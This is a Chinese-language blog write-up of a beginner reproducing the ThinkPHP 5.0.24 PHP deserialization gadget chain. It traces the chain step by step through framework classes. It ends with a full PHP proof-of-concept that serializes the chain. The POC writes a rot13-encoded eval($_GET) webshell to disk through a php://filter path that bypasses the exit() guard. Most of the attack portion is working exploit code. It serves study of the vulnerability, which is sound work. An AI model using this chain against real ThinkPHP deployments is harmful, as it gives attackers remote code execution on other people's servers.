菜鸟第一次TP反序列化复现,dalao不要喷我了,不过我也没有开启评论功能。
TP v5.0.24 反序列化链
学习一下tp系列的反序列化挖掘过程
环境:
1 2 3
| topthink v5.0.24 PHP Version 5.6.40 Apache
|
前要知识点
__destruct: PHP5引入了析构方法的概念,这类似于其它面向对象的语言,如C++,析构方法会在当某个对象的所有引用都被删除或者当对象被显式销毁时执行。实际上,当PHP脚本运行结束之前,所有的变量都会被销毁,因此析构方法在类被反序列化并实例化后必然会被调用。
__toString:当一个对象被当作字符串对待的时候,会触发这个魔术方法。而当file_exists处理时,$filename被当做了字符串,因此如果$filename为类对象的话,此处可以触发该类的__toString方法。
pop链
开始
反序列化起点:thinkphp/library/think/process/pipes/Windows.php removeFiles
方法
file_exists
方法能够触发__toString
魔术方法
我们需要利用__toString做跳板,找到了Model抽象类
因为Model是抽象类 不能直接定义所以我们需要找到他的子类
找到了Pivot子类,后面写poc会用到
跳板利用点:thinkphp/library/think/Model.php
Model抽象类的 __toString
__toString方法,这里调用了toJson方法。
1 2 3 4
| 接着调用了toArray方法,主要是将该对象转成JSON字符串,跟进到toArray方法。此时$this->append为类属性可控,则$key、$name可控,我们需要寻找到类似$可控对象->方法($可控参数)的调用链
找到这个 $item[$key] = $value ? $value->getAttr($attr) : null;
|
分析下如何达到该行代码
需要的地方
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| $relation = Loader::parseName($name, 1, false);//字符串命名风格转换 可控 $modelRelation = $this->$relation(); //这行代码用通俗的话来讲就是 把$modelRelation 赋值为 \think\Model 类任意方法的返回结果
来看这个代码 /** * 返回模型的错误信息 * @access public * @return string|array */ public function getError() { return $this->error; } 如果$relation = getError 的话 那么我们就做到了真正可控
$value = $this->getRelationData($modelRelation);
|
来看这一行$value = $this->getRelationData($modelRelation);
跟进
如果我们进入第一个 if ,函数就直接返回 $this->parent
跟进isSelfRelation(),发现返回值可控,条件可以满足
下一个条件是get_class($modelRelation->getModel()) == get_class($this->parent)
跟进getModel()
1 2 3 4 5 6
| thinkphp/library/think/model/Relation.php
public function getModel() { return $this->query->getModel(); }
|
下一个getModel() 可控
1 2 3 4 5 6 7 8 9 10 11
| thinkphp/library/think/db/Query.php
/** * 获取当前的模型对象实例 * @access public * @return Model|null */ public function getModel() { return $this->model; }
|
\think\Model \think\Model 类中: query =new think\db\Query() ,
然后 \think\db\Query 类中: model = \think\Model 类中的 parent 就行了,这样就可以满足if 的判断条件了
回到toArray()中
来看if判断吧
第一个:if (method_exists($modelRelation, 'getBindAttr'))
需要$modelRelations 中 含有 getBindAttr() 方法,我们在 Relation 类中搜索 getBindAttr() 方法没有找到,所以需要去子类找,寻找继承了Relation类并且存在getBindAttr() 方法的类。
只有这一个
thinkphp/library/think/model/relation/OneToOne.php 可控
1 2 3 4
| public function getBindAttr() { return $this->bindAttr; }
|
OneToOne是一个抽象类 我们找到继承了OneToOne 的类 HasOne类
至此代码执行到$item[$key] = $value ? $value->getAttr($attr) : null;
就能够执行Output类__call
魔术方法
跟进Output类block
方法
1 2 3 4
| protected function block($style, $message) { $this->writeln("<{$style}>{$message}</$style>"); }
|
继续跟进writelin
方法,最后会调用write
方法
这里$this->handle
可控,全局搜索write
方法,进一步利用
定位到:thinkphp/library/think/session/driver/Memcached.php
类: Memcached
继续搜索可用set
方法
定位到:thinkphp/library/think/cache/driver/File.php
类:File
跟进getCacheKey 发现$filename
可控
$data
值比较棘手,这里有个坑,由于最后调用set
方法中的参数来自先前调用的write
方法只能为true
继续执行,跟进下方的setTagItem
方法
会再执行一次set
方法,且这里文件内容$value
通过$name
赋值(文件名)
所以可以在文件名上做手脚
注意 $data中有exit(); 所以我们需要绕过
可以使用伪协议 如下
1
| php://filter/write=string.rot13/resource=./<?cuc cucvasb();?>
|
poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119
| <?php namespace think\process\pipes { class Windows { private $files = [];
public function __construct($files) { $this->files = [$files]; //$file => /think/Model的子类new Pivot(); Model是抽象类 } } }
namespace think { abstract class Model{ protected $append = []; protected $error = null; public $parent;
function __construct($output, $modelRelation) { $this->parent = $output; //$this->parent=> think\console\Output; $this->append = array("xxx"=>"getError"); //调用getError 返回this->error $this->error = $modelRelation; // $this->error 要为 relation类的子类,并且也是OnetoOne类的子类==>>HasOne } } }
namespace think\model{ use think\Model; class Pivot extends Model{ function __construct($output, $modelRelation) { parent::__construct($output, $modelRelation); } } }
namespace think\model\relation{ class HasOne extends OneToOne {
} } namespace think\model\relation { abstract class OneToOne { protected $selfRelation; protected $bindAttr = []; protected $query; function __construct($query) { $this->selfRelation = 0; $this->query = $query; //$query指向Query $this->bindAttr = ['xxx'];// $value值,作为call函数引用的第二变量 } } }
namespace think\db { class Query { protected $model;
function __construct($model) { $this->model = $model; //$this->model=> think\console\Output; } } } namespace think\console{ class Output{ private $handle; protected $styles; function __construct($handle) { $this->styles = ['getAttr']; $this->handle =$handle; //$handle->think\session\driver\Memcached }
} } namespace think\session\driver { class Memcached { protected $handler;
function __construct($handle) { $this->handler = $handle; //$handle->think\cache\driver\File } } }
namespace think\cache\driver { class File { protected $options=null; protected $tag;
function __construct(){ $this->options=[ 'expire' => 3600, 'cache_subdir' => false, 'prefix' => '', 'path' => 'php://filter/write=string.rot13/resource=<?cuc @riny($_TRG[_]);?>', 'data_compress' => false, ]; $this->tag = 'xxx'; }
} }
namespace { $Memcached = new think\session\driver\Memcached(new \think\cache\driver\File()); $Output = new think\console\Output($Memcached); $model = new think\db\Query($Output); $HasOne = new think\model\relation\HasOne($model); $window = new think\process\pipes\Windows(new think\model\Pivot($Output,$HasOne)); echo urlencode(serialize($window)); }
|
参考:
https://www.anquanke.com/post/id/196364